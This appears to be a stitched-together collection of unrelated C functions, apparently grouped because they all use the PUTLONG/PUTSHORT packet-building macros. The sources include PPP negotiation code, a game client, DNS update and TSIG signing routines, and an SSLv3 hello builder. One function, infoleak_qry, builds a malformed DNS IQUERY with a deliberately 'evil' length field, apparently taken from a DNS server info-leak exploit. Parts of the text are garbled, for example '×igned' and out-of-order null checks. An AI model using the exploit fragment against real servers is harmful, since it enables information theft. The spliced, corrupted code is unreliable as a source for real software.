static void lcp_timeout(void *ctx) { lcp *_this; u_char *cp, buf[32]; _this = ctx; if (_this->echo_failures >= _this->echo_max_retries) { fsm_log(&_this->fsm, LOG_NOTICE, "keepalive failure."); if (_this->fsm.ppp != NULL) { #ifdef USE_NPPPD_RADIUS ppp_set_radius_terminate_cause(_this->fsm.ppp, RADIUS_TERMNATE_CAUSE_IDLE_TIMEOUT); #endif ppp_stop(_this->fsm.ppp, NULL); } return; } cp = buf; PUTLONG(_this->magic_number, cp); fsm_sdata(&_this->fsm, ECHOREQ, _this->fsm.id++, buf, 4); _this->echo_failures++; lcp_reset_timeout(_this); }
/* * lcp_extcode - Handle a LCP-specific code. */ static int lcp_extcode( fsm *f, int code, int id, u_char *inp, int len) { u_char *magp; switch( code ){ case PROTREJ: lcp_rprotrej(f, inp, len); break; case ECHOREQ: if (f->state != OPENED) break; magp = inp; PUTLONG(lcp_gotoptions[f->unit].magicnumber, magp); fsm_sdata(f, ECHOREP, id, inp, len); break; case ECHOREP: lcp_received_echo_reply(f, id, inp, len); break; case DISCREQ: break; default: return 0; } return 1; }
int send_hello() { int len; char *p = buf; *p++ = 22; /* Handshake */ PUTSHORT(0x0300, p); /* SSL v3 */ PUTSHORT(85, p); /* Length will be 85 bytes */ *p++ = 1; /* Client hello */ *p++ = 0; /* Length: */ PUTSHORT(81, p); /* 81 bytes */ PUTSHORT(0x0300, p); /* SSL v3 */ PUTLONG(0xffffffff, p); /* Random.gmt_unix_time */ /* Now 28 bytes of random data... (7x4bytes=28) */ PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); PUTLONG(0x11223344, p); *p++ = 0; /* Session ID 0 */ PUTSHORT(42, p); /* Cipher Suites Length */ PUTSHORT(0x16, p); PUTSHORT(0x13, p); PUTSHORT(0x0a, p); PUTSHORT(0x66, p); PUTSHORT(0x07, p); PUTSHORT(0x05, p); PUTSHORT(0x04, p); PUTSHORT(0x65, p); PUTSHORT(0x64, p); PUTSHORT(0x63, p); PUTSHORT(0x62, p); PUTSHORT(0x61, p); PUTSHORT(0x60, p); PUTSHORT(0x15, p); PUTSHORT(0x12, p); PUTSHORT(0x09, p); PUTSHORT(0x14, p); PUTSHORT(0x11, p); PUTSHORT(0x08, p); PUTSHORT(0x06, p); PUTSHORT(0x03, p); *p++ = 1; /* Compresion method length: 1 */ *p++ = 0; /* (null) */ len = p - buf; return len; }
/** Create a Confugre-Request */ static void ccp_addci(fsm *f, u_char *pktp, int *lpktp) { u_char *pktp0; pktp0 = pktp; if (f->ppp->ccp.mppe_rej == 0) { PUTCHAR(CCP_MPPE, pktp); PUTCHAR(6, pktp); PUTLONG(f->ppp->ccp.mppe_o_bits, pktp); *lpktp = pktp - pktp0; } else *lpktp = 0; }
/** * making ConfReq. */ static void lcp_addci(fsm *f, u_char *ucp, int *lenp) { lcp *_this; u_char *start_ucp = ucp; LCP_ASSERT(f != NULL); _this = &f->ppp->lcp; if (!psm_opt_is_rejected(_this, mru)) { PUTCHAR(PPP_LCP_MRU, ucp); PUTCHAR(4, ucp); if (_this->xxxmru > 0) { /* this value is got by Nak. */ PUTSHORT(_this->xxxmru, ucp); } else { PUTSHORT(f->ppp->mru, ucp); } psm_opt_set_requested(_this, mru, 1); } if (f->ppp->has_acf == 1) { if (!psm_opt_is_rejected(_this, pfc)) { PUTCHAR(PPP_LCP_PFC, ucp); PUTCHAR(2, ucp); psm_opt_set_requested(_this, pfc, 1); } if (!psm_opt_is_rejected(_this, acfc)) { PUTCHAR(PPP_LCP_ACFC, ucp); PUTCHAR(2, ucp); psm_opt_set_requested(_this, acfc, 1); } } PUTCHAR(PPP_LCP_MAGICNUMBER, ucp); PUTCHAR(6, ucp); PUTLONG(_this->magic_number, ucp); if (f->ppp->peer_auth != 0) { _this->auth_order[0] = f->ppp->peer_auth; _this->auth_order[1] = -1; } else if (_this->auth_order[0] < 0) { lcp_load_authconfig(f); } lcp_add_auth(f, &ucp); *lenp = ucp - start_ucp; }
void csendreliable (unsigned char *message, int size) { if (size == 0) return; if (rposition + size + 6 > BUFFERSIZE) { printf ("Connection to server broken too long! Reliable buffer owerfllow\n" "Game aborted\n"); exit (-1); } PUTLONG ((rbuffer + rposition), rcount); rcount++; PUTSHORT ((rbuffer + rposition + 4), (size + 6)); memcpy (rbuffer + rposition + 6, message, size); rposition += size + 6; timeout = 1; }
int infoleak_qry(char* buff) { HEADER* hdr; int n, k; char* ptr; int qry_space = 12; int dummy_names = 7; int evil_size = 0xff; memset(buff, 0, BUFFSIZE); hdr = (HEADER*)buff; hdr->id = htons(0xbeef); hdr->opcode = IQUERY; hdr->rd = 1; hdr->ra = 1; hdr->qdcount = htons(0); hdr->nscount = htons(0); hdr->ancount = htons(1); hdr->arcount = htons(0); ptr = buff + sizeof(HEADER); printf("[d] HEADER is %d long\n", sizeof(HEADER)); n = 62; for(k=0; k < dummy_names; k++) { *ptr++ = n; ptr += n; } ptr += 1; PUTSHORT(1/*ns_t_a*/, ptr); /* type */ PUTSHORT(T_A, ptr); /* class */ PUTLONG(1, ptr); /* ttl */ PUTSHORT(evil_size, ptr); /* our *evil* size */ return(ptr - buff + qry_space); }
static int lcp_rechoreq(fsm *f, int id, u_char *inp, int inlen) { u_char *inp0; lcp *_this; int len; if (inlen < 4) return 0; _this = &f->ppp->lcp; inp0 = inp; PUTLONG(_this->magic_number, inp) len = MIN(inlen, f->ppp->peer_mru - 8); fsm_sdata(f, ECHOREP, id, inp0, len); return 1; }
void csendbuffer () { int result; if (timeout) { timeout--; if (!timeout) { cflushreliable (); timeout = WAITTIME; } } if (!obufferpos) return; PUTLONG ((obuffer), rpos); falied = 0; GetSocketError (sock); /*if (!(rand()%2)) *//*Emulate internet :)))))) */ if ((result = DgramSend (sock, servername, port, (char *) obuffer, obufferpos + 4)) <= 0) { if (errno == EAGAIN || errno == EWOULDBLOCK || result >= 0) { GetSocketError (sock); falied = 1; if (timeout == WAITTIME) timeout = 1; } else { perror ("Can't send message to server\n"); SocketClose (socket_c); SocketClose (sock); exit(-1); } } obufferpos = 0; }
int init_client (void) { long bytes, pport; int gx, gy; int retries = 0; /*Open server socket */ printf ("Opening server socket\n"); if ((socket_c = CreateDgramSocket (0)) == -1) { error ("Could not create connection socket"); SocketClose (socket_c); exit (-1); } strcpy(hostname,GetSockAddr(socket_c)); /*Create connection message */ strcpy ((char *) buffer, "Koules"); PUTCHAR (buffer + 7, VERSION); PUTSHORT (buffer + 8, GAMEWIDTH); PUTSHORT (buffer + 10, GAMEHEIGHT); PUTLONG (buffer + 12, (long) getpid ()); printf ("Asking server at %s port %i\n", servername, initport); #if 0 if (DgramConnect (socket_c, servername, initport) == -1) { perror ("Connection error"); error ("Can't connect to server %s on port %d", servername, port); close (socket_c); return -1; } #endif again: GetSocketError (socket_c); errno = 0; do { if (retries) sleep (1); retries++; if (retries > 100) printf (" Connection timed out\n"), exit (-1); if (errno) { perror ("Can't receive reply"); exit (-1); } if (DgramSend (socket_c, servername, initport, (char *) buffer, INITPACKETSIZE) == -1) { SocketClose (socket_c); perror ("Can't send message to server"); exit (-1); } if (errno) { perror ("Can't send message to server"); /*exit (-1); */ GetSocketError (socket_c); errno = 0; } SetTimeout (1, 10 * 1000); } while (!(SocketReadable (socket_c))); bytes = DgramReceiveAny (socket_c, (char *) buffer, BUFFERSIZE); if (bytes != REPLYSIZE) goto again; SocketClose (socket_c); GETLONG (buffer, port); if (port == 0) { printf ("Server refused me! (too many players or incompatible screen size)\n" "Try -W server's option is you are using 320x200 clients..\n"); exit (-1); } GETSHORT ((buffer + 4), gx); GETSHORT ((buffer + 6), gy); printf ("YYYYAAAAAAA Server replied.\n" "Opening port %i\n", port); if ((sock = CreateDgramSocket (0)) == -1) { error ("Can't create datagram socket"); return -1; } SetTimeout (1, 10 * 1000); /*if (DgramConnect (sock, servername, port) == -1) { error ("Can't connect to server %s on port %d", servername, port); close (sock); return -1; } */ if (SetSocketNonBlocking (sock, 1) == -1) { error ("Can't make socket non-blocking"); return -1; } printf ("Sending initialization message\n"); pport = GetPortNum (sock); if (gx / DIV > GAMEWIDTH || gy / DIV > GAMEHEIGHT) { printf ("Server's gamepool too large\n" "Try -W on server's command line\n"); PUTLONG (buffer, 0); if (DgramSend (sock, servername, port, (char *) buffer, 4) == -1) close (sock); exit (-1); } else GAMEWIDTH = gx, GAMEHEIGHT = gy; PUTHEAD (SINIT); PUTLONG (buffer + HEADSIZE, pport); if (SetSocketReceiveBufferSize (sock, NETBUFFER) == -1) { error ("Can't set socket buffer size"); return -1; } if (SetSocketSendBufferSize (sock, NETBUFFER) == -1) { error ("Can't set socket buffer size"); return -1; } GetSocketError (sock); csendreliable (buffer, 4 + HEADSIZE); csendbuffer (); csendbuffer (); csendbuffer (); printf ("Starting game...\n"); return (0); }
int mesg_write_rrset_list (G_List *rrls, u_char *msg, u_char *msg_tail, uint16_t *dnames, int dnames_len, u_char **wp, uint16_t *cnt) { char *fn = "mesg_write_rrset_list()"; u_char *wp_start, *wp_period; Mesg_Hdr *hdr; uint16_t us; uint32_t ul; RRset *rrsp; RR *rrp; int i, ret; if (T.debug > 4) syslog (LOG_DEBUG, "%s: start.", fn); if (!rrls) return 0; wp_start = *wp; hdr = (Mesg_Hdr *) msg; for (rrls = rrls->next; rrls->list_data; rrls = rrls->next) { if (T.debug > 4) syslog (LOG_DEBUG, "%s: write a record", fn); rrsp = (RRset *) rrls->list_data; for (i = 0; i < rrsp->data.d->data_cnt; i++) { wp_period = *wp; /* write the owner name */ ret = write_dname (msg, msg_tail, dnames, dnames_len, rrset_owner (rrsp), *wp); if (ret < 0) { syslog (LOG_DEBUG, "write ownername failed"); *wp = wp_period; return wp_period - wp_start; } *wp += ret; /* write RR field and data */ rrp = (RR *) (rrsp->data.p + data_offset (i, rrsp->data.p)); if (*wp + sizeof (uint16_t) * 3 + sizeof (uint32_t) + rrp->rd_len > msg_tail) { syslog (LOG_DEBUG, "write rdata failed"); *wp = wp_period; return wp_period - wp_start; } PUTSHORT (rrsp->key.info->r_type, *wp); PUTSHORT (rrsp->key.info->r_class, *wp); ul = rrp->ttl; PUTLONG (ul, *wp); /* XXX RDATA COMPRESSION NOT IMPLEMENTED */ PUTSHORT (rrp->rd_len, *wp); memcpy (*wp, rr_rdata (rrp), rrp->rd_len); *wp += rrp->rd_len; /* update header */ us = ntohs (*cnt) + 1; /* and caller's counter */ *cnt = htons (us); if (T.debug > 4) syslog (LOG_DEBUG, "%s: now counter = %d", fn, us); } } if (T.debug > 4) syslog (LOG_DEBUG, "%s: return %d", fn,(int)(*wp - wp_start)); return (*wp - wp_start); }
isc_result_t ns_verify_tcp(u_char *msg, unsigned *msglen, ns_tcp_tsig_state *state, int required) { HEADER *hp = (HEADER *)msg; u_char *recstart, *rdatastart, *sigstart; unsigned sigfieldlen, otherfieldlen; u_char *cp, *eom = msg + *msglen, *cp2; char name[MAXDNAME], alg[MAXDNAME]; u_char buf[MAXDNAME]; int n, type, length, fudge, id, error; time_t timesigned; if (msg == NULL || msglen == NULL || state == NULL) return ISC_R_INVALIDARG; state->counter++; if (state->counter == 0) return (ns_verify(msg, msglen, state->key, state->sig, state->siglen, state->sig, &state->siglen, ×igned, 0)); if (state->siglen > 0) { u_int16_t siglen_n = htons(state->siglen); dst_verify_data(SIG_MODE_INIT, state->key, &state->ctx, NULL, 0, NULL, 0); dst_verify_data(SIG_MODE_UPDATE, state->key, &state->ctx, (u_char *)&siglen_n, INT16SZ, NULL, 0); dst_verify_data(SIG_MODE_UPDATE, state->key, &state->ctx, state->sig, state->siglen, NULL, 0); state->siglen = 0; } cp = recstart = ns_find_tsig(msg, eom); if (recstart == NULL) { if (required) return ISC_R_NO_TSIG; dst_verify_data(SIG_MODE_UPDATE, state->key, &state->ctx, msg, *msglen, NULL, 0); return ISC_R_SUCCESS; } hp->arcount = htons(ntohs(hp->arcount) - 1); dst_verify_data(SIG_MODE_UPDATE, state->key, &state->ctx, msg, (unsigned)(recstart - msg), NULL, 0); /* Read the key name. */ n = dn_expand(msg, eom, cp, name, MAXDNAME); if (n < 0) return ISC_R_FORMERR; cp += n; /* Read the type. */ BOUNDS_CHECK(cp, 2*INT16SZ + INT32SZ + INT16SZ); GETSHORT(type, cp); if (type != ns_t_tsig) return ISC_R_NO_TSIG; /* Skip the class and TTL, save the length. */ cp += INT16SZ + INT32SZ; GETSHORT(length, cp); if (eom - cp != length) return ISC_R_FORMERR; /* Read the algorithm name. */ rdatastart = cp; n = dn_expand(msg, eom, cp, alg, MAXDNAME); if (n < 0) return ISC_R_FORMERR; if (ns_samename(alg, NS_TSIG_ALG_HMAC_MD5) != 1) return ISC_R_BADKEY; cp += n; /* Verify that the key used is OK. */ if ((ns_samename(state->key->dk_key_name, name) != 1 || state->key->dk_alg != KEY_HMAC_MD5)) return ISC_R_BADKEY; /* Read the time signed and fudge. */ BOUNDS_CHECK(cp, INT16SZ + INT32SZ + INT16SZ); cp += INT16SZ; GETLONG(timesigned, cp); GETSHORT(fudge, cp); /* Read the signature. */ BOUNDS_CHECK(cp, INT16SZ); GETSHORT(sigfieldlen, cp); BOUNDS_CHECK(cp, sigfieldlen); sigstart = cp; cp += sigfieldlen; /* Read the original id and error. */ BOUNDS_CHECK(cp, 2*INT16SZ); GETSHORT(id, cp); GETSHORT(error, cp); /* Parse the other data. */ BOUNDS_CHECK(cp, INT16SZ); GETSHORT(otherfieldlen, cp); BOUNDS_CHECK(cp, otherfieldlen); cp += otherfieldlen; if (cp != eom) return ISC_R_FORMERR; /* * Do the verification. */ /* Digest the time signed and fudge. */ cp2 = buf; PUTSHORT(0, cp2); /* Top 16 bits of time. */ PUTLONG(timesigned, cp2); PUTSHORT(NS_TSIG_FUDGE, cp2); dst_verify_data(SIG_MODE_UPDATE, state->key, &state->ctx, buf, (unsigned)(cp2 - buf), NULL, 0); n = dst_verify_data(SIG_MODE_FINAL, state->key, &state->ctx, NULL, 0, sigstart, sigfieldlen); if (n < 0) return ISC_R_BADSIG; if (sigfieldlen > sizeof(state->sig)) return ISC_R_BADSIG; if (sigfieldlen > sizeof(state->sig)) return ISC_R_NOSPACE; memcpy(state->sig, sigstart, sigfieldlen); state->siglen = sigfieldlen; /* Verify the time. */ if (abs(timesigned - time(NULL)) > fudge) return ISC_R_BADTIME; *msglen = recstart - msg; if (error != NOERROR) return ns_rcode_to_isc (error); return ISC_R_SUCCESS; }
/* * Form update packets. * Returns the size of the resulting packet if no error * On error, * returns -1 if error in reading a word/number in rdata * portion for update packets * -2 if length of buffer passed is insufficient * -3 if zone section is not the first section in * the linked list, or section order has a problem * -4 on a number overflow * -5 unknown operation or no records */ int res_mkupdate(ns_updrec *rrecp_in, u_char *buf, int buflen) { ns_updrec *rrecp_start = rrecp_in; HEADER *hp; u_char *cp, *sp1, *sp2, *startp, *endp; int n, i, soanum, multiline; ns_updrec *rrecp; struct in_addr ina; char buf2[MAXDNAME]; int section, numrrs = 0, counts[ns_s_max]; u_int16_t rtype, rclass; u_int32_t n1, rttl; u_char *dnptrs[20], **dpp, **lastdnptr; if ((_res.options & RES_INIT) == 0 && res_init() == -1) { h_errno = NETDB_INTERNAL; return (-1); } /* * Initialize header fields. */ if ((buf == NULL) || (buflen < HFIXEDSZ)) return (-1); memset(buf, 0, HFIXEDSZ); hp = (HEADER *) buf; hp->id = htons(++_res.id); hp->opcode = ns_o_update; hp->rcode = NOERROR; sp1 = buf + 2*INT16SZ; /* save pointer to zocount */ cp = buf + HFIXEDSZ; buflen -= HFIXEDSZ; dpp = dnptrs; *dpp++ = buf; *dpp++ = NULL; lastdnptr = dnptrs + sizeof dnptrs / sizeof dnptrs[0]; if (rrecp_start == NULL) return (-5); else if (rrecp_start->r_section != S_ZONE) return (-3); memset(counts, 0, sizeof counts); for (rrecp = rrecp_start; rrecp; rrecp = rrecp->r_grpnext) { numrrs++; section = rrecp->r_section; if (section < 0 || section >= ns_s_max) return (-1); counts[section]++; for (i = section + 1; i < ns_s_max; i++) if (counts[i]) return (-3); rtype = rrecp->r_type; rclass = rrecp->r_class; rttl = rrecp->r_ttl; /* overload class and type */ if (section == S_PREREQ) { rttl = 0; switch (rrecp->r_opcode) { case YXDOMAIN: rclass = C_ANY; rtype = T_ANY; rrecp->r_size = 0; break; case NXDOMAIN: rclass = C_NONE; rtype = T_ANY; rrecp->r_size = 0; break; case NXRRSET: rclass = C_NONE; rrecp->r_size = 0; break; case YXRRSET: if (rrecp->r_size == 0) rclass = C_ANY; break; default: fprintf(stderr, "res_mkupdate: incorrect opcode: %d\n", rrecp->r_opcode); fflush(stderr); return (-1); } } else if (section == S_UPDATE) { switch (rrecp->r_opcode) { case DELETE: rclass = rrecp->r_size == 0 ? C_ANY : C_NONE; break; case ADD: break; default: fprintf(stderr, "res_mkupdate: incorrect opcode: %d\n", rrecp->r_opcode); fflush(stderr); return (-1); } } /* * XXX appending default domain to owner name is omitted, * fqdn must be provided */ if ((n = dn_comp(rrecp->r_dname, cp, buflen, dnptrs, lastdnptr)) < 0) return (-1); cp += n; ShrinkBuffer(n + 2*INT16SZ); PUTSHORT(rtype, cp); PUTSHORT(rclass, cp); if (section == S_ZONE) { if (numrrs != 1 || rrecp->r_type != T_SOA) return (-3); continue; } ShrinkBuffer(INT32SZ + INT16SZ); PUTLONG(rttl, cp); sp2 = cp; /* save pointer to length byte */ cp += INT16SZ; if (rrecp->r_size == 0) { if (section == S_UPDATE && rclass != C_ANY) return (-1); else { PUTSHORT(0, sp2); continue; } } startp = rrecp->r_data; endp = startp + rrecp->r_size - 1; /* XXX this should be done centrally. */ switch (rrecp->r_type) { case T_A: if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); if (!inet_aton(buf2, &ina)) return (-1); n1 = ntohl(ina.s_addr); ShrinkBuffer(INT32SZ); PUTLONG(n1, cp); break; case T_CNAME: case T_MB: case T_MG: case T_MR: case T_NS: case T_PTR: if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); break; case T_MINFO: case T_SOA: case T_RP: for (i = 0; i < 2; i++) { if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); } if (rrecp->r_type == T_SOA) { ShrinkBuffer(5 * INT32SZ); while (isspace(*startp) || !*startp) startp++; if (*startp == '(') { multiline = 1; startp++; } else multiline = 0; /* serial, refresh, retry, expire, minimum */ for (i = 0; i < 5; i++) { soanum = getnum_str(&startp, endp); if (soanum < 0) return (-1); PUTLONG(soanum, cp); } if (multiline) { while (isspace(*startp) || !*startp) startp++; if (*startp != ')') return (-1); } } break; case T_MX: case T_AFSDB: case T_RT: n = getnum_str(&startp, endp); if (n < 0) return (-1); PUTSHORT(n, cp); ShrinkBuffer(INT16SZ); if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); break; case T_PX: n = getnum_str(&startp, endp); if (n < 0) return (-1); PUTSHORT(n, cp); ShrinkBuffer(INT16SZ); for (i = 0; i < 2; i++) { if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); } break; case T_WKS: case T_HINFO: case T_TXT: case T_X25: case T_ISDN: case T_NSAP: case T_LOC: /* XXX - more fine tuning needed here */ ShrinkBuffer(rrecp->r_size); memcpy(cp, rrecp->r_data, rrecp->r_size); cp += rrecp->r_size; break; default: return (-1); } /*switch*/ n = (u_int16_t)((cp - sp2) - INT16SZ); PUTSHORT(n, sp2); } /*for*/ hp->qdcount = htons(counts[0]); hp->ancount = htons(counts[1]); hp->nscount = htons(counts[2]); hp->arcount = htons(counts[3]); return (cp - buf); }
/* ns_sign * Parameters: * msg message to be sent * msglen input - length of message * output - length of signed message * msgsize length of buffer containing message * error value to put in the error field * key tsig key used for signing * querysig (response), the signature in the query * querysiglen (response), the length of the signature in the query * sig a buffer to hold the generated signature * siglen input - length of signature buffer * output - length of signature * * Errors: * - bad input data (-1) * - bad key / sign failed (-BADKEY) * - not enough space (NS_TSIG_ERROR_NO_SPACE) */ isc_result_t ns_sign(u_char *msg, unsigned *msglen, unsigned msgsize, int error, void *k, const u_char *querysig, unsigned querysiglen, u_char *sig, unsigned *siglen, time_t in_timesigned) { HEADER *hp = (HEADER *)msg; DST_KEY *key = (DST_KEY *)k; if(msglen == NULL){ return ISC_R_INVALIDARG; } u_char *cp = msg + *msglen, *eob = msg + msgsize; u_char *lenp; u_char *name, *alg; unsigned n; time_t timesigned; dst_init(); if (msg == NULL || msglen == NULL || sig == NULL || siglen == NULL) return ISC_R_INVALIDARG; /* Name. */ if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) n = dn_comp(key->dk_key_name, cp, (unsigned)(eob - cp), NULL, NULL); else n = dn_comp("", cp, (unsigned)(eob - cp), NULL, NULL); name = cp; cp += n; /* Type, class, ttl, length (not filled in yet). */ BOUNDS_CHECK(cp, INT16SZ + INT16SZ + INT32SZ + INT16SZ); PUTSHORT(ns_t_tsig, cp); PUTSHORT(ns_c_any, cp); PUTLONG(0, cp); /* TTL */ lenp = cp; cp += 2; /* Alg. */ if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) { if (key->dk_alg != KEY_HMAC_MD5) return ISC_R_BADKEY; n = dn_comp(NS_TSIG_ALG_HMAC_MD5, cp, (unsigned)(eob - cp), NULL, NULL); } else n = dn_comp("", cp, (unsigned)(eob - cp), NULL, NULL); if (n < 0) return ISC_R_NOSPACE; alg = cp; cp += n; /* Time. */ BOUNDS_CHECK(cp, INT16SZ + INT32SZ + INT16SZ); PUTSHORT(0, cp); timesigned = time(NULL); if (error != ns_r_badtime) PUTLONG(timesigned, cp); else PUTLONG(in_timesigned, cp); PUTSHORT(NS_TSIG_FUDGE, cp); /* Compute the signature. */ if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) { void *ctx; u_char buf[MAXDNAME], *cp2; unsigned n; dst_sign_data(SIG_MODE_INIT, key, &ctx, NULL, 0, NULL, 0); /* Digest the query signature, if this is a response. */ if (querysiglen > 0 && querysig != NULL) { u_int16_t len_n = htons(querysiglen); dst_sign_data(SIG_MODE_UPDATE, key, &ctx, (u_char *)&len_n, INT16SZ, NULL, 0); dst_sign_data(SIG_MODE_UPDATE, key, &ctx, querysig, querysiglen, NULL, 0); } /* Digest the message. */ dst_sign_data(SIG_MODE_UPDATE, key, &ctx, msg, *msglen, NULL, 0); /* Digest the key name. */ n = ns_name_ntol(name, buf, sizeof(buf)); dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, n, NULL, 0); /* Digest the class and TTL. */ cp2 = buf; PUTSHORT(ns_c_any, cp2); PUTLONG(0, cp2); dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, (unsigned)(cp2-buf), NULL, 0); /* Digest the algorithm. */ n = ns_name_ntol(alg, buf, sizeof(buf)); dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, n, NULL, 0); /* Digest the time signed, fudge, error, and other data */ cp2 = buf; PUTSHORT(0, cp2); /* Top 16 bits of time */ if (error != ns_r_badtime) PUTLONG(timesigned, cp2); else PUTLONG(in_timesigned, cp2); PUTSHORT(NS_TSIG_FUDGE, cp2); PUTSHORT(error, cp2); /* Error */ if (error != ns_r_badtime) PUTSHORT(0, cp2); /* Other data length */ else { PUTSHORT(INT16SZ+INT32SZ, cp2); /* Other data length */ PUTSHORT(0, cp2); /* Top 16 bits of time */ PUTLONG(timesigned, cp2); } dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, (unsigned)(cp2-buf), NULL, 0); n = dst_sign_data(SIG_MODE_FINAL, key, &ctx, NULL, 0, sig, *siglen); if (n < 0) return ISC_R_BADKEY; *siglen = n; } else *siglen = 0; /* Add the signature. */ BOUNDS_CHECK(cp, INT16SZ + (*siglen)); PUTSHORT(*siglen, cp); if(*siglen>=0){ memcpy(cp, sig, *siglen); cp += (*siglen); } /* The original message ID & error. */ BOUNDS_CHECK(cp, INT16SZ + INT16SZ); PUTSHORT(ntohs(hp->id), cp); /* already in network order */ PUTSHORT(error, cp); /* Other data. */ BOUNDS_CHECK(cp, INT16SZ); if (error != ns_r_badtime) PUTSHORT(0, cp); /* Other data length */ else { PUTSHORT(INT16SZ+INT32SZ, cp); /* Other data length */ BOUNDS_CHECK(cp, INT32SZ+INT16SZ); PUTSHORT(0, cp); /* Top 16 bits of time */ PUTLONG(timesigned, cp); } /* Go back and fill in the length. */ PUTSHORT(cp - lenp - INT16SZ, lenp); hp->arcount = htons(ntohs(hp->arcount) + 1); *msglen = (cp - msg); return ISC_R_SUCCESS; }
/** Request Command Interpreter */ static int ccp_reqci(fsm *f, u_char *pktp, int *lpktp, int reject_if_disagree) { int type, len, rcode, lrej, lnak; u_char *rejbuf, *nakbuf, *nakbuf0, *pktp0; #ifdef USE_NPPPD_MPPE uint32_t peer_bits, our_bits; #endif npppd_ppp *ppp; ppp = f->ppp; rejbuf = NULL; rcode = CONFACK; pktp0 = pktp; lrej = 0; lnak = 0; if ((rejbuf = malloc(*lpktp)) == NULL) { return rcode; } if ((nakbuf0 = malloc(*lpktp)) == NULL) { free(rejbuf); return rcode; } nakbuf = nakbuf0; #define remlen() (*lpktp - (pktp - pktp0)) while (remlen() >= 2) { GETCHAR(type, pktp); GETCHAR(len, pktp); if (len <= 0 || remlen() + 2 < len) goto fail; switch (type) { #ifdef USE_NPPPD_MPPE case CCP_MPPE: if (len < 6) goto fail; if (ppp->mppe.enabled == 0) goto reject; GETLONG(peer_bits, pktp); our_bits = mppe_create_our_bits(&ppp->mppe, peer_bits); if (our_bits != peer_bits) { if (reject_if_disagree) { pktp -= 4; goto reject; } if (lrej > 0) { /* don't nak because we are doing rej */ } else { PUTCHAR(type, nakbuf); PUTCHAR(6, nakbuf); PUTLONG(our_bits, nakbuf); rcode = CONFNAK; } } else ppp->ccp.mppe_p_bits = our_bits; break; reject: #endif default: pktp -= 2; memcpy(rejbuf + lrej, pktp, len); lrej += len; pktp += len; rcode = CONFREJ; } continue; } fail: switch (rcode) { case CONFREJ: memcpy(pktp0, rejbuf, lrej); *lpktp = lrej; break; case CONFNAK: len = nakbuf - nakbuf0; memcpy(pktp0, nakbuf0, len); *lpktp = len; break; } free(rejbuf); free(nakbuf0); return rcode; #undef remlen }
int ns_sign_tcp2(u_char *msg, int *msglen, int msgsize, int error, ns_tcp_tsig_state *state, int done, u_char **dnptrs, u_char **lastdnptr) { u_char *cp, *eob, *lenp; u_char buf[MAXDNAME], *cp2; HEADER *hp = (HEADER *)msg; time_t timesigned; int n; if (msg == NULL || msglen == NULL || state == NULL) return (-1); state->counter++; if (state->counter == 0) return (ns_sign2(msg, msglen, msgsize, error, state->key, state->sig, state->siglen, state->sig, &state->siglen, 0, dnptrs, lastdnptr)); if (state->siglen > 0) { u_int16_t siglen_n = htons(state->siglen); dst_sign_data(SIG_MODE_INIT, state->key, &state->ctx, NULL, 0, NULL, 0); dst_sign_data(SIG_MODE_UPDATE, state->key, &state->ctx, (u_char *)&siglen_n, INT16SZ, NULL, 0); dst_sign_data(SIG_MODE_UPDATE, state->key, &state->ctx, state->sig, state->siglen, NULL, 0); state->siglen = 0; } dst_sign_data(SIG_MODE_UPDATE, state->key, &state->ctx, msg, *msglen, NULL, 0); if (done == 0 && (state->counter % 100 != 0)) return (0); cp = msg + *msglen; eob = msg + msgsize; /* Name. */ n = dn_comp(state->key->dk_key_name, cp, eob - cp, dnptrs, lastdnptr); if (n < 0) return (NS_TSIG_ERROR_NO_SPACE); cp += n; /* Type, class, ttl, length (not filled in yet). */ BOUNDS_CHECK(cp, INT16SZ + INT16SZ + INT32SZ + INT16SZ); PUTSHORT(ns_t_tsig, cp); PUTSHORT(ns_c_any, cp); PUTLONG(0, cp); /*%< TTL */ lenp = cp; cp += 2; /* Alg. */ n = dn_comp(NS_TSIG_ALG_HMAC_MD5, cp, eob - cp, NULL, NULL); if (n < 0) return (NS_TSIG_ERROR_NO_SPACE); cp += n; /* Time. */ BOUNDS_CHECK(cp, INT16SZ + INT32SZ + INT16SZ); PUTSHORT(0, cp); timesigned = time(NULL); PUTLONG(timesigned, cp); PUTSHORT(NS_TSIG_FUDGE, cp); /* * Compute the signature. */ /* Digest the time signed and fudge. */ cp2 = buf; PUTSHORT(0, cp2); /*%< Top 16 bits of time */ PUTLONG(timesigned, cp2); PUTSHORT(NS_TSIG_FUDGE, cp2); dst_sign_data(SIG_MODE_UPDATE, state->key, &state->ctx, buf, cp2 - buf, NULL, 0); n = dst_sign_data(SIG_MODE_FINAL, state->key, &state->ctx, NULL, 0, state->sig, sizeof(state->sig)); if (n < 0) return (-ns_r_badkey); state->siglen = n; /* Add the signature. */ BOUNDS_CHECK(cp, INT16SZ + state->siglen); PUTSHORT(state->siglen, cp); memcpy(cp, state->sig, state->siglen); cp += state->siglen; /* The original message ID & error. */ BOUNDS_CHECK(cp, INT16SZ + INT16SZ); PUTSHORT(ntohs(hp->id), cp); /*%< already in network order */ PUTSHORT(error, cp); /* Other data. */ BOUNDS_CHECK(cp, INT16SZ); PUTSHORT(0, cp); /* Go back and fill in the length. */ PUTSHORT(cp - lenp - INT16SZ, lenp); hp->arcount = htons(ntohs(hp->arcount) + 1); *msglen = (cp - msg); return (0); }
